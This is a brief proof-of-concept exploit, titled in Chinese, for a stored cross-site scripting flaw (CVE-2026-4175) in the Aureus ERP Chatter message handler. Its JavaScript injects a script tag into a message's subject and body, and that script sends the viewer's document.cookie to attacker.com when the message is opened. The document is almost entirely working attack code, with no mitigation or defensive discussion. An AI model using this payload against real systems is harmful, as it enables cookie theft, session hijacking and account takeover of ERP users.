CVE-2026-4175: Aureus ERP Chatter Message Handler跨站脚本漏洞

// CVE-2026-4175 XSS PoC for Aureus ERP // Target: Aureus ERP < 1.3.0-BETA1 // Component: Chatter Message Handler // Step 1: Identify vulnerable endpoint const targetUrl = "https://target-aureus-erp.com"; const messageEndpoint = "/chatter/messages/store"; // Step 2: Inject malicious XSS payload in message subject/body const xssPayload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // Step 3: Send crafted request with XSS payload fetch(targetUrl + messageEndpoint, { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer <user_token>' }, body: JSON.stringify({ subject: xssPayload, body: xssPayload, recipient_id: 'target_user_id' }) }); // Step 4: When victim views the message, XSS executes // Attacker receives victim's cookies via the fetch request